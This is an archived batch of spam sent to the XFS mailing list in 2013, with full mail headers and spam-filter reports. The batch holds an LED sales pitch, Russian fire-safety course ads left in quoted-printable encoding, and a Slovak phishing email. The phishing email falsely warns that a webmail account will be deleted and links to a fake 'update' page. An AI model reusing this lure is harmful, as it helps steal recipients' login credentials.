From ledlighting48@ledlighting12.xicp.net Sun Sep 1 02:01:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=DATE_IN_PAST_12_24, HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 362637F37 for ; Sun, 1 Sep 2013 02:01:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B507FAC002 for ; Sun, 1 Sep 2013 00:01:54 -0700 (PDT) X-ASG-Debug-ID: 1378018906-04cbb02c3ec8d660001-NocioJ Received: from ledlighting12.xicp.net ([163.142.235.147]) by cuda.sgi.com with SMTP id A6EFoB3uAvPUVFJS for ; Sun, 01 Sep 2013 00:01:48 -0700 (PDT) X-Barracuda-Envelope-From: ledlighting48@ledlighting12.xicp.net X-Barracuda-Apparent-Source-IP: 163.142.235.147 Received: from BD0KVY8MXPJNKUS[127.0.0.1] by BD0KVY8MXPJNKUS[127.0.0.1] (SMTPD32); Sat, 31 Aug 2013 19:02:00 +0800 From: "led factory product" Subject: re: led downlighting 15-20w price list To: "xfs" X-ASG-Orig-Subj: re: led downlighting 15-20w price list MIME-Version: 1.0 Sender: ledlighting48@ledlighting12.xicp.net Reply-To: sales@gdlighting.net Date: Sat, 31 Aug 2013 19:02:00 +0800 X-Priority: 3 X-DNSRBL: X-MAIL: PS-MAM01.PSheng.com q9QDEkb8018968 X-Mailer: Foxmail 7.0.1.91[cn] Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[163.142.235.147] X-Barracuda-Start-Time: 1378018906 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.06 X-Barracuda-Spam-Status: No, SCORE=1.06 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_12_24, DATE_IN_PAST_12_24_2, HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140004 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.01 DATE_IN_PAST_12_24 Date: is 12 to 24 hours before Received: date 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.80 DATE_IN_PAST_12_24_2 DATE_IN_PAST_12_24_2 Message-Id: <20130901070154.B1EC31B801E@cuda.sgi.com>

hello!

here is the price list of LED panel lighting 1200x600mm

interest? let us know soonest

Lisa

From info@mail.sk Sun Sep 1 11:10:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF77D29DFB for ; Sun, 1 Sep 2013 11:10:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CEA17304062 for ; Sun, 1 Sep 2013 09:10:08 -0700 (PDT) X-ASG-Debug-ID: 1378051800-04cb6c153dca6bc0001-w1Z2WR Received: from ns2.host2u.sk (ns2.host2u.sk [86.110.226.40]) by cuda.sgi.com with ESMTP id S1CFUv2y3lIrH8GG for ; Sun, 01 Sep 2013 09:10:02 -0700 (PDT) X-Barracuda-Envelope-From: info@mail.sk X-Barracuda-Apparent-Source-IP: 86.110.226.40 Received: from localhost (localhost [127.0.0.1]) by ns2.host2u.sk (host2u.sk) with ESMTP id 74D221903DDA; Sun, 1 Sep 2013 17:55:13 +0200 (CEST) X-Virus-Scanned: amavisd-new at ns2.host2u.sk Received: from ns2.host2u.sk ([127.0.0.1]) by localhost (ns2.host2u.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 2Dcl2eypA6Yp; Sun, 1 Sep 2013 17:55:13 +0200 (CEST) Received: from mail.pd-tvrdosovce.sk (localhost [127.0.0.1]) by ns2.host2u.sk (host2u.sk) with ESMTP id 771771903B70; Sun, 1 Sep 2013 17:55:11 +0200 (CEST) Received: from 41.138.173.241 (SquirrelMail authenticated user pdtvrd02) by mail.pd-tvrdosovce.sk with HTTP; Sun, 1 Sep 2013 17:55:12 +0200 (CEST) Message-ID: <60175.41.138.173.241.1378050912.squirrel@mail.pd-tvrdosovce.sk> Date: Sun, 1 Sep 2013 17:55:12 +0200 (CEST) Subject: =?iso-8859-2?Q?V=E1=BEen=ED:_Webmail_odberate=B5?= From: Webmail =?iso-8859-2?Q?odberate=B5?= X-ASG-Orig-Subj: =?iso-8859-2?Q?V=E1=BEen=ED:_Webmail_odberate=B5?= User-Agent: SquirrelMail/1.4.10a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: ns2.host2u.sk[86.110.226.40] X-Barracuda-Start-Time: 1378051801 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Vážení: Webmail odberateľ Vezmite prosím na vedomie, že váš e-mailový účet prekročil skladovacie kapacity. Nebudete môcť odosielať a prijímať e-maily a vaše e-mailové konto bude odstránený z nášho servera. Ak sa chcete tomuto problému vyhnúť, Kliknite na: http://webmailupdate20435.jimdo.com/ aktualizovať svoj ​​účet. Ďakujem. Management Team. From budul19avn@harrisonline.com Sun Sep 1 18:17:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.6 required=5.0 tests=FROM_12LTRDOM,HTML_MESSAGE, SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A795F29DFB for ; Sun, 1 Sep 2013 18:17:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9483C304051 for ; Sun, 1 Sep 2013 16:17:23 -0700 (PDT) X-ASG-Debug-ID: 1378077440-04cbb02c3ecb90a0001-NocioJ Received: from vip-3.dns-rus.net (vip-3.dns-rus.net [91.219.193.3]) by cuda.sgi.com with ESMTP id S5Yx4nemiAGVBuis (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Sep 2013 16:17:21 -0700 (PDT) X-Barracuda-Envelope-From: budul19avn@harrisonline.com X-Barracuda-Apparent-Source-IP: 91.219.193.3 Received: from [78.26.254.27] (port=55209 helo=Unknown) by vip-3.dns-rus.net with esmtpa (Exim 4.80.1) (envelope-from ) id 1VGGtV-0005Mm-AG; Mon, 02 Sep 2013 03:17:21 +0400 Message-ID: <290995C463CA4E7EABA75A5F0E659A8B@kiar> Reply-To: =?windows-1251?B?zuH/5+Dt7e7x8ugg7vLi5fLx8uLl7e379SDr?= =?windows-1251?B?6PYg5+Ag7+7m4PDt8/4g4eXn7u/g8e3u8fL8?= From: =?windows-1251?B?zuH/5+Dt7e7x8ugg7vLi5fLx8uLl7e379SDr?= =?windows-1251?B?6PYg5+Ag7+7m4PDt8/4g4eXn7u/g8e3u8fL8?= To: , , , Subject: =?windows-1251?B?z/Dg4ujr4CDv8O7y6OLu7+7m4PDt7uPuIPDl?= =?windows-1251?B?5ujs4CDiINDu8fHo6fHq7ukg1OXk5fDg9ujo?= =?windows-1251?B?ICjz8uIuIO/u8fLg7e7i6+Xt6OXsIM/w4OLo?= =?windows-1251?B?8uXr/PHy4uAg0NQg7vIgMjUg4O/w5ev/IDIw?= =?windows-1251?B?MTIg4y4gTiAzOTAp?= Date: Mon, 2 Sep 2013 01:17:17 +0200 X-ASG-Orig-Subj: =?windows-1251?B?z/Dg4ujr4CDv8O7y6OLu7+7m4PDt7uPuIPDl?= =?windows-1251?B?5ujs4CDiINDu8fHo6fHq7ukg1OXk5fDg9ujo?= =?windows-1251?B?ICjz8uIuIO/u8fLg7e7i6+Xt6OXsIM/w4OLo?= =?windows-1251?B?8uXr/PHy4uAg0NQg7vIgMjUg4O/w5ev/IDIw?= =?windows-1251?B?MTIg4y4gTiAzOTAp?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1406_01CEA77A.2A0E1DE0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vip-3.dns-rus.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - harrisonline.com X-Get-Message-Sender-Via: vip-3.dns-rus.net: authenticated_id: info@abca.ru X-Barracuda-Connect: vip-3.dns-rus.net[91.219.193.3] X-Barracuda-Start-Time: 1378077441 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140068 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1406_01CEA77A.2A0E1DE0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1407_01CEA77A.2A0E1DE0" ------=_NextPart_001_1407_01CEA77A.2A0E1DE0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 2o1=C7 =E3=EE=E4=F3 =F3=E6=E5=F1=F2=EE=F7=E0=E5=F2=F1=FF =EA=EE=ED=F2= =F0=EE=EB=FC =E7=E0 =F1=EE=E1=EB=FE=E4=E5=ED=E8=E5 =ED=EE=F0=EC =E8 =EF=F0= =E0=E2=E8=EB =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8 =EF=F0=E8 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E7=E4=E0=ED=E8=E9 =E8 =F1= =EE=EE=F0=F3=E6=E5=ED=E8=E9. =C2=EE=E7=F0=E0=F1=F2=E0=E5=F2 =F0=E0=E7=EC=E5= =F0 =F8=F2=F0=E0=F4=EE=E2 =E4=EE=EB=E6=ED=EE=F1=F2=ED=FB=F5 =EB=E8=F6 =E8 =EE=F0=E3=E0=ED=E8=E7=E0=F6=E8=E9 =E7=E0 =ED=E0=F0=F3=F8=E5= =ED=E8=E9 =EF=F0=E0=E2=E8=EB; =EF=F0=E8 =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED= =E8=E8 =F7=F0=E5=E7=E2=FB=F7=E0=E9=ED=FB=F5 =F1=E8=F2=F3=E0=F6=E8=E9 =EF=F0=E5=E4=F3=F1=EC=EE=F2=F0=E5=ED=E0 =F3=E3=EE=EB=EE=E2=ED=E0=FF =EE=F2= =E2=E5=F2=F1=F2=E2=E5=ED=ED=EE=F1=F2=FC =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5=EB= =FF. =CC=ED=EE=E3=E8=E5 =E2=EE=EF=F0=EE=F1=FB =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5= =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF= =E0=F1=ED=EE=F1=F2=E8 =E2=ED=EE=F1=FF=F2 =E4=EE=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=FB=E5 =F3=F1=EB=EE=E2=E8=FF =E4=EB=FF= =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=FF =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC= =F1=F2=E2=E0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8! =D7=F2=EE =ED=F3=E6=ED=EE =E7=ED=E0=F2=FC =EE =F0=E5=E0=EB=E8=E7=E0=F6=E8= =E8 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8: - =ED=E0 =EF=F0=EE=EC=FB=F8=EB=E5=ED=ED=EE=EC =EF=F0=E5=E4=EF=F0=E8=FF=F2= =E8=E8? - =EF=F0=E8 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E6=E8=EB=FB=F5 =E8 =ED=E5= =E6=E8=EB=FB=F5 =EF=EE=EC=E5=F9=E5=ED=E8=E9? - =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=E8 =E8 =F1=F2=F0=EE=E8= =F2=E5=EB=FC=F1=F2=E2=E5 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC= =EE=F1=F2=E8? =CA=F3=F0=F1-=EF=F0=E0=EA=F2=E8=EA=F3=EC 18-19 =F1=E5=ED=F2=FF=E1=F0=FF 2= =CEl=E7 =E3. =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3 =CF=CE=C6=C0=D0=CD=C0=DF =C1=C5=C7=CE=CF=C0=D1=CD=CE=D1=D2=DC =C7=C4=C0=CD= =C8=C9 =C8 =D1=CE=CE=D0=D3=C6=C5=CD=C8=C9: =CE=C1=C5=D1=CF=C5=D7=C5=CD=C8= =C5 =CF=CE=C6=C0=D0=CD=CE=C9 =C1=C5=C7=CE=CF=C0=D1=CD=CE=D1=D2=C8 =CD=C0 =D1=D2= =C0=C4=C8=C8 =CF=D0=CE=C5=CA=D2=C8=D0=CE=C2=C0=CD=C8=DF. =CF=CE=C4=C3=CE=D2= =CE=C2=CA=C0 =CA =CF=D0=CE=C2=C5=D0=CA=C5 =CF=CE=C6=C0=D0=CD=CE=C3=CE =CD=C0=C4=C7=CE=D0=C0= . =CD=CE=C2=DB=C5 =D2=D0=C5=C1=CE=C2=C0=CD=C8=DF =C7=C0=CA=CE=CD=CE=C4=C0= =D2=C5=CB=DC=D1=D2=C2=C0 =C8 =CF=D0=CE=D2=C8=C2=CE=CF=CE=C6=C0=D0=CD=DB=C9 =D0=C5=C6=C8=CC =D1=F0=E5=E4=E8 =F2=E5=EC: =95=CD=EE=F0=EC=E0=F2=E8=E2=ED=EE-=EF=F0=E0=E2=EE=E2=EE=E5 =F0=E5=E3=F3=EB= =E8=F0=EE=E2=E0=ED=E8=E5 =E2 =EE=E1=EB=E0=F1=F2=E8 =EF=EE=E6=E0=F0=ED=EE=E9= =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D4=E5=E4=E5=F0=E0=EB=FC=ED=EE=E3=EE =E7=E0= =EA=EE=ED=E0 =B9 123-=D4=C7 =AB=D2=E5=F5=ED=E8=F7=E5=F1=EA=E8=E9 =F0=E5=E3= =EB=E0=EC=E5=ED=F2 =EE =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=F5 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF= =E0=F1=ED=EE=F1=F2=E8=BB. =95=CF=EE=F0=FF=E4=EE=EA =F0=E0=E7=F0=E0=E1=EE=F2=EA=E8 =E8 =F1=EE=E3=EB=E0= =F1=EE=E2=E0=ED=E8=FF =F1=EF=E5=F6=E8=E0=EB=FC=ED=FB=F5 =F2=E5=F5=ED=E8=F7= =E5=F1=EA=E8=F5 =F3=F1=EB=EE=E2=E8=E9 (=D1=D2=D3). =95=D1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E5 =EF=F0=EE=E5=EA=F2=ED=EE-=F1=EC=E5= =F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8 =F2=F0=E5=E1=EE=E2=E0=ED= =E8=FF=EC =ED=EE=F0=EC =E2 =EE=E1=EB=E0=F1=F2=E8 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =CF=F0=EE=F6= =E5=E4=F3=F0=E0 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF =FD=EA=F1=EF=E5=F0=F2=E8=E7= =FB. =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EA =E4=EE=EA=F3=EC=E5=ED=F2=E0=EC. =95=CA=E0=EA=E8=E5 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EF=F0=E5=E4=FA=FF=E2=EB= =FF=FE=F2=F1=FF =EA =E7=E4=E0=ED=E8=FF=EC =E8 =EF=EE=EC=E5=F9=E5=ED=E8=FF= =EC =EF=EE =EF=EB=E0=ED=E8=F0=EE=E2=EA=E5, =EE=E3=ED=E5=F1=F2=EE=E9=EA=EE=F1=F2=E8, =EF=F3=F2=FF=EC =FD=E2=E0=EA=F3=E0= =F6=E8=E8, =E4=FB=EC=EE=F3=E4=E0=EB=E5=ED=E8=FE, =F1=F0=E5=E4=F1=F2=E2=E0= =EC =EE=E1=ED=E0=F0=F3=E6=E5=ED=E8=FF =E8 =F2=F3=F8=E5=ED=E8=FF =EF=EE=E6=E0=F0=E0 =E8 =E4=F0. =95=CF=F0=E8=ED=FF=F2=E8=E5 =EC=E5=F0 =E4=EE =EF=F0=EE=E2=E5=F0=EA=E8 =EF= =EE=E6=E0=F0=ED=EE=E3=EE =ED=E0=E4=E7=EE=F0=E0. =CF=EE=F8=E0=E3=EE=E2=E0=FF= =E8=ED=F1=F2=F0=F3=EA=F6=E8=FF =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF =E2=ED=F3=F2=F0=E5=ED=ED=E5=E3=EE =E0=F3=E4=E8=F2=E0 =EF=EE=E6=E0=F0=ED=EE= =E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8.=20 =95=D2=E8=EF=E8=F7=ED=FB=E5 =EE=F8=E8=E1=EA=E8 =EF=F0=E8 =EF=EE=E4=E3=EE=F2= =EE=E2=EA=E5 =EA =EF=F0=EE=E2=E5=F0=EA=E5 =E8 =EC=ED=EE=E3=EE=E5 =E4=F0=F3= =E3=EE=E5... =CF=EE=EB=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2= =E8=FF =E8 =F3=F1=EB=EE=E2=E8=FF =F3=F7=E0=F1=F2=E8=FF =F3=F2=EE=F7=ED=FF= =E5=F2=F1=FF =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3:=20 +7 * =F1=EF=E1 * 6=D7 2 * 5 8 =E7l =CF=EE =EF=F0=EE=F5=EE=E6=E4=E5=ED=E8=E8 =EA=F3=F0=F1=E0 =E2=FB=E4=E0=E5=F2= =F1=FF =F3=E4=EE=F1=F2=EE=E2=E5=F0=E5=ED=E8=E5 =F3=F1=F2=E0=ED=EE=E2=EB=E5= =ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0! ------=_NextPart_001_1407_01CEA77A.2A0E1DE0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C2 2o1=C7 =E3=EE=E4=F3 =F3=E6=E5=F1=F2=EE=F7=E0=E5=F2=F1=FF=20 =EA=EE=ED=F2=F0=EE=EB=FC =E7=E0 =F1=EE=E1=EB=FE=E4=E5=ED=E8=E5 =ED=EE=F0=EC= =E8 =EF=F0=E0=E2=E8=EB =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED= =EE=F1=F2=E8
=EF=F0=E8 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8=20 =E7=E4=E0=ED=E8=E9 =E8 =F1=EE=EE=F0=F3=E6=E5=ED=E8=E9. =C2=EE=E7=F0=E0=F1= =F2=E0=E5=F2 =F0=E0=E7=EC=E5=F0 =F8=F2=F0=E0=F4=EE=E2 =E4=EE=EB=E6=ED=EE=F1= =F2=ED=FB=F5
=EB=E8=F6 =E8 =EE=F0=E3=E0=ED=E8=E7=E0=F6=E8=E9=20 =E7=E0 =ED=E0=F0=F3=F8=E5=ED=E8=E9 =EF=F0=E0=E2=E8=EB; =EF=F0=E8 =E2=EE=E7= =ED=E8=EA=ED=EE=E2=E5=ED=E8=E8 =F7=F0=E5=E7=E2=FB=F7=E0=E9=ED=FB=F5 =F1=E8= =F2=F3=E0=F6=E8=E9
=EF=F0=E5=E4=F3=F1=EC=EE=F2=F0=E5=ED=E0=20 =F3=E3=EE=EB=EE=E2=ED=E0=FF =EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE=F1=F2=FC= =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5=EB=FF.
 
=CC=ED=EE=E3=E8=E5 =E2=EE=EF=F0=EE=F1=FB =F2=E5=F5=ED=E8=F7=E5=F1=EA= =E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7= =EE=EF=E0=F1=ED=EE=F1=F2=E8=20 =E2=ED=EE=F1=FF=F2
=E4=EE=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=FB=E5 =F3=F1=EB= =EE=E2=E8=FF =E4=EB=FF =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=FF =E8 =F1= =F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0=20 =EE=E1=FA=E5=EA=F2=EE=E2
=ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8!
 
=D7=F2=EE =ED=F3=E6=ED=EE =E7=ED=E0=F2=FC =EE =F0=E5=E0=EB=E8=E7=E0=F6= =E8=E8 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8:
 
- =ED=E0 =EF=F0=EE=EC=FB=F8=EB=E5=ED=ED=EE=EC =EF=F0=E5=E4=EF=F0=E8=FF= =F2=E8=E8?
 
- =EF=F0=E8 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E6=E8=EB=FB=F5 =E8= =ED=E5=E6=E8=EB=FB=F5 =EF=EE=EC=E5=F9=E5=ED=E8=E9?
 
- =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=E8 =E8 =F1=F2=F0= =EE=E8=F2=E5=EB=FC=F1=F2=E2=E5 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6= =E8=EC=EE=F1=F2=E8?
 
=CA=F3=F0=F1-=EF=F0=E0=EA=F2=E8=EA=F3=EC 18-19 =F1=E5=ED=F2=FF=E1= =F0=FF=20 2=CEl=E7 =E3.=20 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3
 
=CF=CE=C6=C0=D0=CD=C0=DF =C1=C5=C7=CE=CF=C0=D1=CD=CE=D1=D2=DC =C7=C4= =C0=CD=C8=C9 =C8 =D1=CE=CE=D0=D3=C6=C5=CD=C8=C9: =CE=C1=C5=D1=CF=C5=D7=C5= =CD=C8=C5
=CF=CE=C6=C0=D0=CD=CE=C9=20 =C1=C5=C7=CE=CF=C0=D1=CD=CE=D1=D2=C8 =CD=C0 =D1=D2=C0=C4=C8=C8 =CF=D0=CE=C5= =CA=D2=C8=D0=CE=C2=C0=CD=C8=DF. =CF=CE=C4=C3=CE=D2=CE=C2=CA=C0 =CA
=CF= =D0=CE=C2=C5=D0=CA=C5 =CF=CE=C6=C0=D0=CD=CE=C3=CE=20 =CD=C0=C4=C7=CE=D0=C0. =CD=CE=C2=DB=C5 =D2=D0=C5=C1=CE=C2=C0=CD=C8=DF =C7= =C0=CA=CE=CD=CE=C4=C0=D2=C5=CB=DC=D1=D2=C2=C0 =C8
=CF=D0=CE=D2=C8=C2=CE= =CF=CE=C6=C0=D0=CD=DB=C9 =D0=C5=C6=C8=CC
 
=D1=F0=E5=E4=E8 =F2=E5=EC:
 
=95=CD=EE=F0=EC=E0=F2=E8=E2=ED=EE-=EF=F0=E0=E2=EE=E2=EE=E5 =F0=E5=E3= =F3=EB=E8=F0=EE=E2=E0=ED=E8=E5 =E2 =EE=E1=EB=E0=F1=F2=E8 =EF=EE=E6=E0=F0=ED= =EE=E9=20 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8.
=D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D4= =E5=E4=E5=F0=E0=EB=FC=ED=EE=E3=EE =E7=E0=EA=EE=ED=E0 =B9=20 123-=D4=C7 =AB=D2=E5=F5=ED=E8=F7=E5=F1=EA=E8=E9 =F0=E5=E3=EB=E0=EC=E5=ED=F2= =EE
=F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=F5=20 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8=BB.
=95=CF= =EE=F0=FF=E4=EE=EA =F0=E0=E7=F0=E0=E1=EE=F2=EA=E8 =E8 =F1=EE=E3=EB=E0=F1=EE= =E2=E0=ED=E8=FF =F1=EF=E5=F6=E8=E0=EB=FC=ED=FB=F5=20 =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5 =F3=F1=EB=EE=E2=E8=E9 (=D1=D2=D3).
=95= =D1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E5 =EF=F0=EE=E5=EA=F2=ED=EE-=F1=EC=E5=F2= =ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8=20 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =ED=EE=F0=EC =E2 =EE=E1=EB=E0=F1=F2=E8<= BR>=EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =CF=F0=EE= =F6=E5=E4=F3=F0=E0 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF=20 =FD=EA=F1=EF=E5=F0=F2=E8=E7=FB. =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EA
=E4= =EE=EA=F3=EC=E5=ED=F2=E0=EC.
=95=CA=E0=EA=E8=E5 =F2=F0=E5=E1=EE=E2=E0=ED= =E8=FF =EF=F0=E5=E4=FA=FF=E2=EB=FF=FE=F2=F1=FF =EA=20 =E7=E4=E0=ED=E8=FF=EC =E8 =EF=EE=EC=E5=F9=E5=ED=E8=FF=EC =EF=EE =EF=EB=E0= =ED=E8=F0=EE=E2=EA=E5,
=EE=E3=ED=E5=F1=F2=EE=E9=EA=EE=F1=F2=E8, =EF=F3= =F2=FF=EC =FD=E2=E0=EA=F3=E0=F6=E8=E8,=20 =E4=FB=EC=EE=F3=E4=E0=EB=E5=ED=E8=FE, =F1=F0=E5=E4=F1=F2=E2=E0=EC =EE=E1=ED= =E0=F0=F3=E6=E5=ED=E8=FF =E8
=F2=F3=F8=E5=ED=E8=FF =EF=EE=E6=E0=F0=E0 = =E8 =E4=F0.
=95=CF=F0=E8=ED=FF=F2=E8=E5 =EC=E5=F0=20 =E4=EE =EF=F0=EE=E2=E5=F0=EA=E8 =EF=EE=E6=E0=F0=ED=EE=E3=EE =ED=E0=E4=E7=EE= =F0=E0. =CF=EE=F8=E0=E3=EE=E2=E0=FF =E8=ED=F1=F2=F0=F3=EA=F6=E8=FF =EF=F0= =EE=E2=E5=E4=E5=ED=E8=FF
=E2=ED=F3=F2=F0=E5=ED=ED=E5=E3=EE=20 =E0=F3=E4=E8=F2=E0 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1= =F2=E8.
